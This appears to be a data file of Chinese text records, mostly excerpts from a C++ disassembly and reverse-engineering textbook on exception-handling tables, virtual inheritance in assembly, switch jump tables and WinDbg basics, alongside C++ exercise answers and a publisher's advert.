    {"text": "3．在默认情况下，标准输出和标准错误都将输出发送给标准输出设备（通常为显示器）。 然而，如果要求操作系统将输出重定向到文件，则标准输出将与文件（而不是显示器）相连，但标准错误仍与显示器相连。"},
    {"text": "第18章复习题答案 1． 2．r1(w)合法，形参rx指向w。 r1(w+1)合法，形参rx指向一个临时变量，这个变量被初始化为w+1。 r1(up(w))合法，形参rx指向一个临时变量，这个变量被初始化为up(w)的返回值。"},
    {"text": "3． 非const左值引用与左值实参w匹配。 其他两个实参为右值，const左值引用可指向它们的拷贝。 左值引用与左值实参w匹配，而右值引用与两个右值实参匹配。 const左值引用与左值实参w匹配，而右值引用与两个右值实参匹配。 总之，非const左值形参与左值实参匹配，非const右值形参与右值实参匹配； const左值形参可与左值或右值形参匹配，但编译器优先选择前两种方式（如果可供选择的话）。"},
    {"text": "欢迎来到异步社区！ 异步社区的来历 异步社区( www.epubit.com.cn )是人民邮电出版社旗下IT专业图书旗舰社区，于2015年8月上线运营。 异步社区依托于人民邮电出版社20余年的IT专业优质出版资源和编辑策划团队，打造传统出版与电子出版和自出版结合、纸质书与电子书结合、传统印刷与POD按需印刷结合的出版平台，提供最新技术资讯，为作者和读者打造交流互动的平台。 社区里都有什么？ 购买图书 我们出版的图书涵盖主流IT技术，在编程语言、Web技术、数据科学等领域有众多经典畅销图书。社区现已上线图书1000余种，电子书400多种，部分新书实现纸书、电子书同步出版。我们还会定期发布新书书讯。 下载资源 社区内提供随书附赠的资源，如书中的案例或程序源代码。 另外，社区还提供了大量的免费电子书，只要注册成为社区用户就可以免费下载。 与作译者互动 很多图书的作译者已经入驻社区，您可以关注他们，咨询技术问题；可以阅读不断更新的技术文章，听作译者和编辑畅聊好书背后有趣的故事；还可以参与社区的作者访谈栏目，向您关注的作者提出采访题目。 灵活优惠的购书 您可以方便地下单购买纸质图书或电子图书，纸质图书直接从人民邮电出版社书库发货，电子书提供多种阅读格式。 对于重磅新书，社区提供预售和新书首发服务，用户可以第一时间买到心仪的新书。 用户帐户中的积分可以用于购书优惠。100积分=1元，购买图书时，在 里填入可使用的积分数值，即可扣减相应金额。 特别优惠 购买本电子书的读者专享 异步社区优惠券 。 使用方法：注册成为社区用户，在下单购书时输入“ 57AWG ”，然后点击“使用优惠码”，即可享受电子书8折优惠（本优惠券只可使用一次）。 纸电图书组合购买 社区独家提供纸质图书和电子书组合购买方式，价格优惠，一次购买，多种阅读选择。 社区里还可以做什么？ 提交勘误 您可以在图书页面下方提交勘误，每条勘误被确认后可以获得100积分。热心勘误的读者还有机会参与书稿的审校和翻译工作。 写作 社区提供基于Markdown的写作环境，喜欢写作的您可以在此一试身手，在社区里分享您的技术心得和读书体会，更可以体验自出版的乐趣，轻松实现出版的梦想。 如果成为社区认证作译者，还可以享受异步社区提供的作者专享特色服务。 会议活动早知道 您可以掌握IT圈的技术会议资讯，更有机会免费获赠大会门票。 加入异步 扫描任意二维码都能找到我们： 异步社区 微信订阅号 微信服务号 官方微博 QQ群：368449889 社区网址： www.epubit.com.cn 官方微信： 异步社区 官方微博： @人邮异步社区，@人民邮电出版社-信息技术分社 投稿&咨询： contact@epubit.com.cn"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 序二 2011年10月当时我正在大陆进行秋季巡讲在同济大学宿舍里收到一封陌生邮件发件人是钱林松。随后我收到一本书——《C++反汇编与逆向分析技术揭密》。翻看目录和三两页内容后我明白这是本价值不菲的好书值得日后好好阅读。 是的后来我对书中特感兴趣的部分做了很详细的阅读。特别是C++语言的虚函数virtual functions背后的虚机制所用到的虚指针virtual pointers和虚表virtuabl tables对此林松以x86汇编代码给大家做了很好的演示。我对于这些C++机制是有深刻理解的也曾用调试器debugger观察某些东西而能够从林松的书中真真实实看到这些幕后机理的汇编代码呈现还是很兴奋并从中得益。 这些对林松来说只是牛刀小试。他真正的强项是逆向工程。这是很底层而很高端的技术一般大众对它的印象与所谓的“破解”有关。“破解”是好的吗嗯首先大众的上述认知过于狭隘其次技术用得好就是好用得坏就是坏。技术本身是好的是很好的。 我们的友谊后来延伸到温哥华。林松旅行温哥华特地说想见面。那天我坐351公交车去到城区和林松聊了一下午对他有更多认识。再后来又从网络上看到他的访谈记录。凡此种种这个人逐渐在我心中有清晰的形象包括他求知的执着、无惧的性格、技术路上的成长、当前的发展。也更觉得这样一个人在技术上、经营上、人生经历上都是一个很不简单的人物。 成就一本书的艰难我深有体会。林松在事业经营之余愿意把相当精力放在写作这一恐怕无所获利的事情上我深深感动。 如今《C++反汇编与逆向分析技术揭密》即将出版第2版我很高兴很乐意写下这篇序文以为推荐。本着对此类深层次书籍的作者的敬意这次我告诉林松不要再赠我以书籍我要付费购买——这是我对一位好作者和一本好书所能做的一点点心意。 侯捷 2021年8月16日于新竹 C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 10.4 本章小结 弄清楚构造函数与析构函数的出现时机就掌握了识别它们的基础知识。就像警察抓罪犯要抓住罪犯首先必须掌握罪犯的行踪清楚罪犯出没的地点才能设立相应关卡。根据情报得知罪犯会在不同地点穿着对应的服装以掩饰身份有了这些情报警察只须进行有针对的排查即可。如果发现可疑人物且与情报描述的特征极为相似便可对犯罪嫌疑人实施抓捕。 构造函数与析构函数的识别过程也是如此我们已经掌握了它们的出没地点和特征剩下的就是在这些地点设立关卡等待它们的到来。得知了构造函数和析构函数调用经过的路线只需要在这些地方严密监控根据构造函数与析构函数的特征排查可疑数据便可找到构造函数和析构函数。 构造函数的必要条件如下。 函数的调用是这个对象在作用域内的第一次成员函数调用分析this指针即可区分对象是哪个对象的this指针就是哪个对象的成员函数。 使用thiscall调用方式使用ecx或者rcx传递this指针返回值为this指针。 析构函数的必要条件如下。 函数的调用是这个对象在作用域内的最后一次成员函数调用分析this指针即可区分对象是哪个对象的this指针就是哪个对象的成员函数。 使用thiscall调用方式使用ecx或者rcx传递this指针没有返回值。 以上是笔者总结的识别构造函数和析构函数的必要条件。构造函数和析构函数必须分别满足对应的3个条件。但是就算满足这3个条件还是不能充分断定构造函数或析构函数。识别构造函数和析构函数的充分条件是有虚表指针初始化的操作和写入虚表指针的操作这一点在后面的章节会继续讨论。 使用02选项优化后的构造函数与析构函数的调用与在Debug版中的调用相似其实现流程也大致相同。读者可参考10.1节与10.3节对构造函数与析构函数的讲解按照流程对照分析。在本书随书文件中准备了简单的示例分析程序见第10章的工程ShowNumber该工程内有一个字符串处理类读者可分析此工程生成的Release版程序还原其等价的高级代码以增强对构造函数和析构函数的认识。 值得一提的是在Debug选项组编译的时候默认使用了/Ob0选项这个选项关闭了内联函数inline关键字但是在使用Release选项组时候不但开放了内联函数而且尝试将每个函数都设置为内联函数对构造函数和析构函数也是如此。对于这种情况我们只能分析并还原功能等价的代码然后根据程序逻辑判断构造函数和析构函数。 思考题答案 编译器的创建者在完成用于main()函数前执行初始化操作的_initterm函数时将自己所做的各类初始化函数的指针统一定义为如下形式。 typedef void ( cdecl *_PVFV)(void); 然而因为构造函数可以重载所以其参数的类型、个数和顺序都无法预知也就无法预先定义构造函数。函数参数如何匹配呢如何保证栈顶平衡呢最简洁的办法就是使用代理函数。 编译器为每个全局对象分别生成构造代理函数由代理函数调用各类参数和约定的构造函数。因为代理函数的类型被统一指定为PVFV所以能通过数组统一地管理和执行。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 13.1 异常处理的相关知识 C++中的异常处理机制由try、throw、catch语句组成。"},
    {"text": "异常处理的基本C++语法如下所示。 try { // 检测异常 // 执行代码 throw 异常类型 ; // 抛出异常 } catch (捕获异常类型){ // 捕获异常 // 处理代码 } catch (捕获异常类型){ // 捕获异常 // 处理代码 } …… 从C++处理异常的语法中可以看到异常的处理流程为检测异常→产生异常→抛出异常→捕获异常。"},
    {"text": "在运行过程中异常产生时会自动匹配到对应的处理代码中而这个过程的代码较为复杂由编译器产生。 异常处理通常是由编译器和操作系统共同完成的所以不同操作系统环境下的编译器对异常捕获和异常处理的分派过程是不同的。 在用户数最多的Windows操作系统环境下各个编译器也是基于操作系统的异常接口来分别实现C++中的异常处理的因此即使在Windows环境下不同的编译器处理异常的实现方式也不同。 本章以Visual Studio 2019为例从逆向分析的角度讲解VS C++处理异常的技术细节大家若是对其原理兴趣不大可以直接阅读13.4节学习识别try、throw、catch语句的方法。 如果以后对VS C++实现异常处理的过程又有了兴趣可以再回头来阅读13.1节至13.3节的内容。 VS C++在处理异常时会在具有异常处理功能的函数入口处注册一个异常回调函数当该函数内有异常抛出时会执行这个已注册的异常回调函数。"},
    {"text": "所有的异常信息都会被记录在相关表格中异常回调函数根据这些表格中的信息进行异常的匹配处理工作。 想要了解异常的处理流程就需要从这些记录相关信息的表格入手。 那么如何找到这些记录异常信息的表格呢我们可以从异常回调函数入手如图13-1所示。"},
    {"text": "图13-1 异常回调函数 从图13-1中可以看出在调用函数__CxxFrameHandler前向eax传入了一个全局地址这是一个以寄存器方式传参的函数eax便是这个函数的参数。"},
    {"text": "FuncInfo表的大小为0x14字节有5个数据成员记录了try块的信息以及每个try块中对应的catch块的信息等。 有了FuncInfo表便可以顺藤摸瓜找到记录catch块信息的表格。"},
    {"text": "查看地址标号stru_426658中的数据如图13-2所示。 图13-2 地址标号stru_426658的相关数据 图13-2中的数据就是FuncInfo函数信息表的相关数据其结构如下所示。"},
    {"text": "FuncInfo struc ; (sizeof=0x14) magicNumber dd ? ; 编译器生成标记固定数字0x19930520 maxState dd ? ; 最大栈展开数的下标值 pUnwindMap dd ? ; 指向栈展开函数表的指针指向UnwindMapEntry表结构 dwTryCount dd ? ; try块数量 pTryBlockMap dd ? ; try块列表指向TryBlockMapEntry表结构 FuncInfo ends FuncInfo表结构中提供了两个表格信息分别为UnwindMapEntry和TryBlockMapEntry。"},
    {"text": "UnwindMapEntry表结构配合maxState项使用maxState中记录了异常需要展开的次数展开时需要执行的函数由UnwindMapEntry表结构记录其结构信息如下。 UnwindMapEntry struc ; (sizeof=0x08) toState dd ? ; 栈展开数下标值 lpFunAction dd ? ; 展开执行函数 UnwindMapEntry ends 因为展开过程中可能存在多个对象所以以数组形式记录每个对象的析构信息。 toState项用于判断结构是否处于数组中lpFunAction项则用于记录析构函数所在的地址。"},
    {"text": "结合图13-2找到用来记录try块信息表TryBlockMap-Entry的地址标号stru_426688查看此地址标号中的数据如图13-3所示。 图13-3 地址标号stru_426688的相关数据 表TryBlockMapEntry中有5个数据成员结构如下。"},
    {"text": "TryBlockMapEntry struc ;(sizeof=0x14) tryLow dd ? ;try块的最小状态索引用于范围检查 tryHigh dd ? ;try块的最大状态索引用于范围检查 catchHigh dd ? ;catch块的最高状态索引用于范围检查 dwCatchCount dd ? ;catch块个数 pCatchHandlerArray dd ? ;catch块描述指向_msRttiDscr表结构 TryBlockMapEntry ends TryBlockMapEntry表结构用于判断异常产生在哪个try块中。"},
    {"text": "图13-4 地址标号stru_4266A0的相关数据 图13-4中的数据对应的便是_msRttiDscr表结构该结构用于描述try块中的某一个catch块的信息由4个数据成员组成如下所示。 _msRttiDscr struc ; (sizeof=0x10) nFlag dd ? ; 用于catch块的匹配检查 pType dd ? ; catch块要捕捉的类型指向TypeDescriptor表结构 dispCatchObjOffset dd ? ; 用于定位异常对象在当前EBP中的偏移位置 CatchProc dd ? ; catch块的首地址 _msRttiDscr ends nFlag标记用于检查catch块类型的匹配标记值所代表的含义如下。"},
    {"text": "TypeDescriptor struc hash dd ? ; 类型名称的Hash数值 spare dd ? ; 保留可能用于RTTI名称记录 name db ? ; 类型名称 TypeDescriptor ends TypeDescriptor为异常类型结构其中name项用于记录抛出异常的类型名称是一个字符型数组图13-4中的地址标号??_R0H@8保存了TypeDescriptor表结构的首地址跟踪到此地址处如图13-5所示。 图13-5 TypeDescriptor表结构的信息 图13-5中的数据显示name项为'.H'表示异常捕获为int类型。"},
    {"text": "class CmyException { public: char szShow[32]; }; void main(){ try{ CMyException MyException; strcpy(MyException.szShow, \"err...\"); throw &MyException; } catch (CMyException* e){ printf(\"%s \\r\\n\",e->szShow); } } 按照以上结构的对应关系找到TypeDescriptor表结构的信息如图13-6所示。"},
    {"text": "有了这些信息后就可以与抛出异常时的信息进行对比得到对应的表结构通过_msRttiDscr表结构中的CatchProc项得到catch块的首地址。 根据图13-4中显示的信息可知处理int类型异常的catch语句块的首地址在地址标号sub_40107D处跟踪到此地址处相关信息如图13-7所示。 图13-6 自定义异常类型的TypeDescriptor表结构 图13-7 catch块处理代码 到此在处理异常过程中接触到的表结构已经被找到接下来还需要找到抛出异常时产生的表格信息。 抛出异常的工作由throw语句完成找到调用throw时的代码信息如图13-8所示。 图13-8 抛出异常产生的反汇编代码 观察图13-8在调用抛出异常函数时传递了一个全局参数__TI1H。 这个标号便是抛出异常时需要的表结构信息ThrowInfo其结构说明如下。 ThrowInfo struc ; (sizeof=0x10) nFlag dd ? ; 抛出异常类型标记 pDestructor dd ? ; 异常对象的析构函数地址 pForwardCompat dd ? ; 未知 pCatchTableTypeArray dd ? ; catch块类型表指向CatchTableTypeArray表结构 ThrowInfo ends ThrowInfo表结构中携带了类型信息用于匹配抛出的异常类型。"},
    {"text": "因为在try块中产生的异常被处理后不会再返回try块中所以pDestructor的作用就是记录try块中异常对象的析构函数地址当异常处理完成后调用异常对象的析构函数。"},
    {"text": "抛出的异常对应的catch块类型信息被记录在pCatchTableTypeArray指向的结构中。 借助图13-8显示的ThrowInfo表结构地址和pCatchTableTypeArray项保存的地址可以找到表结构CatchTableTypeArray如图13-9所示。 图13-9 CatchTableTypeArray表结构的信息 图13-9显示了CatchTableTypeArray表结构中的数据结构说明如下。 CatchTableTypeArray struc ; (sizeof=0x8) dwCount dd ? ; CatchTableType数组包含的元素个数 ppCatchTableType dd ? ; catch 块的类型信息类型为CatchTableType** CatchTableTypeArray ends ppCatchTableType指向一个指针数组dwCount用于描述数组中的元素个数。 图13-9只显示了一个元素该元素数据为__CT??_R0H@84这个地址标号指向了CatchTableType表结构。 CatchTableType中含有处理异常时所需的相关信息如图13-10所示。 图13-10 CatchTableType表结构的信息 图13-10中的第二项数据是不是很眼熟呢回看图13-5地址标号??_ROH@8指向一个TypeDescriptor表结构于是在处理异常时可以根据这一项进行对比找到正确的catch块并处理。 CatchTableType表结构还包含了其他信息如下所示。 CatchTableType struc ; (sizeof=0x1C) flag dd ? ; 异常对象类型标志 pTypeInfo dd ? ; 指向异常类型结构TypeDescriptor表结构 thisDisplacement PMD ? ; 基类信息 sizeOrOffset dd ? ; 类的大小 pCopyFunction dd ? ; 复制构造函数的指针 CatchTableType ends flag标记用于判断异常对象属于哪种类型如指针、引用、对象等。"},
    {"text": "PMD struc ; (sizeof=0xC) dwOffsetToThis dd ? ; 基类偏移 dwOffsetToVBase dd ? ; 虚基类偏移 dwOffsetToVbTable dd ? ; 基类虚表偏移 PMD ends 图13-11是异常回调与异常抛出的结构关系图。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 1.5 调试工具WinDbg WinDbg是微软公司出品的一个支持32/64位程序调试的免费调试器既支持有源码的程序调试又支持无源码的程序调试。WinDbg不仅可以调试应用程序还可以进行内核调试。WinDbg的一个强大之处在于可以从微软的符号服务器中获取系统符号文件使应用程序或内核调试的反汇编代码可读性更好。WinDbg界面如图1-27所示图中的标号说明如下。 图1-27 WinDbg界面 1命令汇编窗口。 2寄存器窗口。 3内存变量窗口。 4栈窗口。 虽然WinDbg也提供图形界面操作但它最强大的地方还是调试命令通常情况下会结合图形界面和命令行进行操作初学者可以从一些常用的调试命令开始通过快捷键F1查看命令的使用帮助WinDbg的常用命令如表1-2所示。 表1-2 WinDbg的常用命令 通过实际操作演练我们使用命令调试“Hello world”程序将“Hello world”程序对话框标题修改为“I Like C++”如图1-28所示步骤如下。 图1-28 使用WinDbg修改程序 加载可执行程序Ctrl+E。 输入命令执行到入口代码g $exentry。 输入命令查看反汇编代码u。 输入命令修改内存eza 00403000 \"I Like C++\"。 输入命令查看修改的数据da 00403000。 输入命令运行程序g。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 12.4 虚继承 菱形继承是最复杂的对象结构菱形结构将单一继承与多重继承进行组合如图12-12所示。"},
    {"text": "代码清单12-13 虚继承结构的类继承和派生C++源码 //C++源码 #include <stdio.h> //定义家具类虚基类等同于类A class Furniture { public: Furniture() { printf(\"Furniture::Furniture()\\n\"); price = 0; } virtual ~Furniture(){ //家具类的虚析构函数 printf(\"Furniture::~Furniture()\\n\"); } virtual int getPrice() { //获取家具价格 printf(\"Furniture::getPrice()\\n\"); return price; }; protected: int price; //家具类的成员变量 }; //定义沙发类继承自类Furniture等同于类B class Sofa : virtual public Furniture { public: Sofa() { printf(\"Sofa::Sofa()\\n\"); price = 1; color = 2; } virtual ~Sofa() { //沙发类虚析构函数 printf(\"Sofa::~Sofa()\\n\"); } virtual int getColor() { //获取沙发颜色 printf(\"Sofa::getColor()\\n\"); return color; } virtual int sitDown() { //沙发可以坐下休息 return printf(\"Sofa::sitDown()\\n\"); } protected: int color; // 沙发类成员变量 }; //定义床类继承自类Furniture等同于类C class Bed : virtual public Furniture { public: Bed() { printf(\"Bed::Bed()\\n\"); price = 3; length = 4; width = 5; } virtual ~Bed(){ //床类的虚析构函数 printf(\"Bed::~Bed()\\n\"); } virtual int getArea(){ //获取床面积 printf(\"Bed::getArea()\\n\"); return length * width; } virtual int sleep(){ //床可以用来睡觉 return printf(\"Bed::sleep()\\n\"); } protected: int length; //床类成员变量 int width; }; //子类沙发床的定义派生自类Sofa和类Bed等同于类D class SofaBed : public Sofa, public Bed { public: SofaBed() { printf(\"SofaBed::SofaBed()\\n\"); height = 6; } virtual ~SofaBed(){ //沙发床类的虚析构函数 printf(\"SofaBed::~SofaBed()\\n\"); } virtual int sitDown(){ //沙发可以坐下休息 return printf(\"SofaBed::sitDown()\\n\"); } virtual int sleep(){ //床可以用来睡觉 return printf(\"SofaBed::sleep()\\n\"); } virtual int getHeight() { printf(\"SofaBed::getHeight()\\n\"); return height; } protected: int height; //沙发类的成员变量 }; int main(int argc, char* argv[]) { SofaBed sofabed; return 0; } 代码清单12-13中一共定义了4个类分别为Furniture、Sofa、Bed和SofaBed。"},
    {"text": "那么为什么virtual要加在两个父类上而不是它们共同派生的子类呢这个问题与现实世界中动物的繁衍很相似例如熊猫在繁衍时要避免具有血缘关系的雄性与雌性“近亲繁殖”因为“近亲繁殖”的结果会使繁殖出的后代出现基因重叠的问题造成残缺现象。"},
    {"text": "类Bed与类Sofa就如同是一对兄妹它们的父亲为Furniture如果类Bed与类Sofa“近亲结合”生下存在基因问题的SofaBed就会存在基因重叠问题因此使用虚继承防止这个问题的发生。"},
    {"text": "接下来让我们看看虚继承结构中子类SofaBed的对象在内存中是如何存放的如图12-13所示。 图12-13 SofaBed内存结构 图12-13显示了SofaBed内存中的信息初步观察内存中保存的数据可知有些数据类似地址值。"},
    {"text": "图12-14 SofaBed内存结构注解 虽然知道了地址数据的含义但还是存在一些模糊不清的数据无法理解如SofaBed虚表指针新和虚基类偏移表它们都又代表着什么呢带着这个疑问我们将代码清单12-13转换成汇编代码如代码清单12-14所示。"},
    {"text": "根据对代码清单12-13的分析可知3个虚表指针分别为0x0041228C、0x0041229C、0x004122A8它们指向的数据如图12-15所示。 图12-15 各个虚表信息 如图12-15所示这3个虚表指针指向的虚表包含了子类SofaBed的虚函数。"},
    {"text": "SofaBed的两个父类有一个共同的父类如果没有构造标记它们共同的父类将会被构造两次因此需要使用构造标记防止重复构造的问题构造顺序如下所示。 Furniture Sofa根据标记跳过Furniture构造 Bed根据标记跳过Furniture构造 SofaBed自身 SofaBed也使用了构造标记当SofaBed是父类时这个标记将产生作用跳过所有父类的构造只构造自身。"},
    {"text": "对于GCC编译器并没有采用构造标记方案编译器会生成一个父类构造代理函数该构造函数不会调用虚基类构造函数对于正常实例化的父类对象GCC编译器不会调用该构造代理函数。"},
    {"text": "代码清单12-16 虚继承结构的子类析构 //x86_vs对应汇编代码讲解 004013E0 push ebp ;析构代理函数 004013E1 mov ebp, esp 004013E3 push ecx 004013E4 mov [ebp-4], ecx 004013E7 mov ecx, [ebp-4] 004013EA add ecx, 20h 004013ED call sub_401320 ;调用SofaBed的析构函数 004013F2 mov ecx, [ebp-4] 004013F5 add ecx, 20h ;调整this指针为虚基类 004013F8 call sub_4012B0 ;调用虚基类的析构函数 004013FD mov esp, ebp 004013FF pop ebp 00401400 retn 00401320 push ebp 00401321 mov ebp, esp 00401323 push ecx 00401324 mov [ebp-4], ecx 00401327 mov eax, [ebp-4] ;调整this指针为Sofa还原虚表指针为SofaBed 0040132A mov dword ptr [eax-20h], offset ??_7SofaBed@@6B@ 00401331 mov ecx, [ebp-4] ;调整this指针为Bed还原虚表指针为SofaBed 00401334 mov dword ptr [ecx-14h], offset ??_7SofaBed@@6B@_0 0040133B mov edx, [ebp-4] 0040133E mov eax, [edx-1Ch] 00401341 mov ecx, [eax+4] ;从虚基类偏移表中获取虚基类偏移 00401344 mov edx, [ebp-4] ;调整this指针为虚基类还原虚表指针为SofaBed到此为止3个虚表指针还原完毕执行析构函数内的代码 00401347 mov dword ptr [edx+ecx-1Ch], offset ??_7SofaBed@@6B@_1 0040134F push offset aSofabedSofabed_0;\"SofaBed::~SofaBed()\\n\" 00401354 call sub_401650 ;调用printf函数 00401359 add esp, 4 0040135C mov ecx, [ebp-4] 0040135F sub ecx, 4 ;调整this指针为Bed 00401362 call sub_401270 ;调用父类Bed析构函数 00401367 mov ecx, [ebp-4] 0040136A sub ecx, 14h ;调整this指针为Sofa 0040136D call sub_4012E0 ;调用父类Sofa析构函数 00401372 mov esp, ebp 00401374 pop ebp 00401375 retn //x86_gcc对应汇编代码讲解 ;异常处理代码略 0040DD02 mov edx, offset off_41419C ;析构代理函数 0040DD07 mov eax, [ebp-0Ch] ;调整this指针为Sofa 0040DD0A mov [eax], edx ;还原虚表指针为SofaBed 0040DD0C mov eax, [ebp-0Ch] 0040DD0F add eax, 18h ;调整this指针为虚基类 0040DD12 mov edx, offset off_4141E0 0040DD17 mov [eax], edx ;还原虚表指针为SofaBed 0040DD19 mov edx, offset off_4141C0 0040DD1E mov eax, [ebp-0Ch] 0040DD21 mov [eax+8], edx ;调整this指针为Bed还原虚表指针为SofaBed 0040DD24 mov dword ptr [esp], offset aSofabedSofabed_0 ;\"SofaBed::~SofaBed()\" 0040DD2B mov [ebp+fctx.call_site], 0 0040DD32 call _puts ;调用puts函数 0040DD37 mov eax, [ebp-0Ch] 0040DD3A add eax, 8 ;调整this指针为Bed 0040DD3D mov edx, offset off_414180 0040DD42 mov [esp], edx 0040DD45 mov ecx, eax 0040DD47 call __ZN3BedD2Ev ;调用父类Bed析构函数 0040DD4C sub esp, 4 0040DD4F mov eax, [ebp-0Ch] ;调整this指针为Sofa 0040DD52 mov edx, offset off_414178 0040DD57 mov [esp], edx 0040DD5A mov ecx, eax 0040DD5C call __ZN4SofaD2Ev ;调用父类Sofa析构函数 0040DD61 sub esp, 4 0040DD64 mov eax, [ebp-0Ch] 0040DD67 add eax, 18h ;调整this指针为虚基类 0040DD6A mov ecx, eax 0040DD6C call __ZN9FurnitureD2Ev ;调用虚基类析构函数 0040DD71 nop ;异常处理代码略 //x86_clang对应汇编代码与vs相似略 //x64_vs对应汇编代码讲解 0000000140001500 mov [rsp+8], rcx ;析构代理函数 0000000140001505 sub rsp, 28h 0000000140001509 mov rax, [rsp+30h] 000000014000150E add rax, 38h 0000000140001512 mov rcx, rax 0000000140001515 call sub_140001420 ;调用SofaBed的析构函数 000000014000151A mov rax, [rsp+30h] 000000014000151F add rax, 38h ;调整this指针为虚基类 0000000140001523 mov rcx, rax 0000000140001526 call sub_1400013A0 ;调用虚基类的析构函数 000000014000152B add rsp, 28h 000000014000152F retn 0000000140001420 mov [rsp+8], rcx 0000000140001425 sub rsp, 28h 0000000140001429 mov rax, [rsp+30h] 000000014000142E lea rcx, ??_7SofaBed@@6B@ 0000000140001435 mov [rax-38h], rcx ;调整this指针为Sofa还原虚表指针为SofaBed 0000000140001439 mov rax, [rsp+30h] 000000014000143E lea rcx, ??_7SofaBed@@6B@_0 0000000140001445 mov [rax-20h], rcx ;调整this指针为Bed还原虚表指针为SofaBed 0000000140001449 mov rax, [rsp+30h] 000000014000144E mov rax, [rax-30h] 0000000140001452 movsxd rax, dword ptr [rax+4] ;从虚基类偏移表中获取虚基类偏移 0000000140001456 mov rcx, [rsp+30h] 000000014000145B lea rdx, ??_7SofaBed@@6B@_1 ;调整this指针为虚基类还原虚表指针为SofaBed。"},
    {"text": "到此为止3个虚表指针还原完毕执行析构函数内的代码 0000000140001462 mov [rcx+rax-30h], rdx 0000000140001467 lea rcx, aSofabedSofabed_0 ;\"SofaBed::~SofaBed()\\n\" 000000014000146E call sub_140001800 ;调用printf函数 0000000140001473 mov rax, [rsp+30h] 0000000140001478 sub rax, 8 ;调整this指针为Bed 000000014000147C mov rcx, rax 000000014000147F call sub_140001350 ;调用父类Bed析构函数 0000000140001484 mov rax, [rsp+30h] 0000000140001489 sub rax, 20h ;调整this指针为Sofa 000000014000148D mov rcx, rax 0000000140001490 call sub_1400013D0 ;调用父类Sofa析构函数 0000000140001495 add rsp, 28h //x64_gcc对应汇编代码讲解 ;异常处理代码略 000000000040E5F1 lea rdx, off_414A58 ;析构代理函数 000000000040E5F8 mov rax, [rbp+10h] ;调整this指针为Sofa 000000000040E5FC mov [rax], rdx ;还原虚表指针为SofaBed 000000000040E5FF mov rax, [rbp+10h] 000000000040E603 add rax, 28h ;调整this指针为虚基类 000000000040E607 lea rdx, off_414AE0 000000000040E60E mov [rax], rdx ;还原虚表指针为SofaBed 000000000040E611 lea rdx, off_414AA0 000000000040E618 mov rax, [rbp+10h] 000000000040E61C mov [rax+10h], rdx ;调整this指针为Bed还原虚表指针为SofaBed 000000000040E620 mov [rbp+fctx.call_site], 0 000000000040E627 lea rcx, aSofabedSofabed_0 ;\"SofaBed::~SofaBed()\" 000000000040E62E call puts ;调用puts函数 000000000040E633 mov rax, [rbp+10h] 000000000040E637 add rax, 10h ;调整this指针为Bed 000000000040E63B lea rdx, off_414A18 000000000040E642 mov rcx, rax ;this指针 000000000040E645 call _ZN3BedD2Ev ;调用父类Bed析构函数 000000000040E64A mov rax, [rbp+10h] ;调整this指针为Sofa 000000000040E64E lea rdx, off_414A08 000000000040E655 mov rcx, rax ;this指针 000000000040E658 call _ZN4SofaD2Ev ;调用父类Sofa析构函数 000000000040E65D mov rax, [rbp+10h] 000000000040E661 add rax, 28h ;调整this指针为虚基类 000000000040E665 mov rcx, rax ;this指针 000000000040E668 call _ZN9FurnitureD2Ev;调用虚基类析构函数 000000000040E66D nop ;异常处理代码略 //x64_clang对应汇编代码与VS相似略 根据对代码清单12-16的分析可知虚继承结构中子类的析构函数执行流程并没有像构造函数那样使用标记防止重复析构而是将虚基类放在最后调用。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 5.5 难以构成跳转表的switch 通过5.4节可知当switch为一个有序线性组合时会对其case语句块制作地址表以减少比较跳转次数。 但并非所有switch结构都是有序线性的当两个case值的间隔较大时仍然使用switch的结尾地址或者default语句块的首地址代替地址表中缺少的case地址这样就会造成极大的空间浪费。"},
    {"text": "索引表优化需要两张表一张为case语句块地址表另一张为case语句块索引表。 地址表中的每一项保存一个case语句块的首地址有几个case语句块就有几项。"},
    {"text": "当case值比较稀疏且没有明显线性关系时如果将代码清单5-11中case 7改为case 15并且采用有序线性的方式优化则在case地址表中下标7~15之间将保存switch结构的结尾地址这样会浪费很多空间。"},
    {"text": "在数值间隔过多的情况下与制作单一的case线性地址表相比制作索引表的方式更节省空间但是由于在执行时需要通过索引表查询地址表会多出一次查询地址表的过程因此效率也会有所下降。"},
    {"text": "MAX-MIN* 1字节 = 索引表大小 SUM * 4字节 = 地址表大小 占用总字节数 =MAX-MIN* 1字节+SUM * 4字节 看了这么多的理论你可能会觉得烦琐然后通过实际调试你会发现这个优化结构其实很简单并没有想象中那么复杂如代码清单5-15所示。"},
    {"text": "代码清单5-15 非线性索引表的C++代码 //C++源码 #include <stdio.h> int main(int argc, char* argv[]) { int n = 0; scanf(\"%d\", &n); switch(n) { case 1: printf(\"n == 1\"); break; case 2: printf(\"n == 2\"); break; case 3: printf(\"n == 3\"); break; case 5: printf(\"n == 5\"); break; case 6: printf(\"n == 6\"); break; case 255: printf(\"n == 255\"); break; } return 0; } 在代码清单5-15中从case 1开始到case 255结束共255个case值会生成一个255字节大小索引表。"},
